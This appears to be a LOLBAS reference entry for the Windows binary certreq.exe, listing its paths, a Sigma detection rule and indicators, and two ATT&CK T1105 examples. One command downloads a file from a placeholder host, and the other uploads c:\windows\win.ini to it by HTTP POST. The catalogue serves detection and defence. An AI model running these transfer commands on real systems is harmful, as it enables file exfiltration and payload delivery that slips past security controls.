.. /CertReq.exe

Star

Paths:

• C:\Windows\System32\certreq.exe
• C:\Windows\SysWOW64\certreq.exe

Resources:

• https://dtm.uk/certreq

Acknowledgements:

• David Middlehurst (@dtmsecurity)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
• IOC: certreq creates new files
• IOC: certreq makes POST requests

Download

1. Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory

   CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

   Use case

   Download file from Internet

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

Upload

1. Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST and show response in terminal

   CertReq -Post -config https://example.org/ c:\windows\win.ini

   Use case

   Upload

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105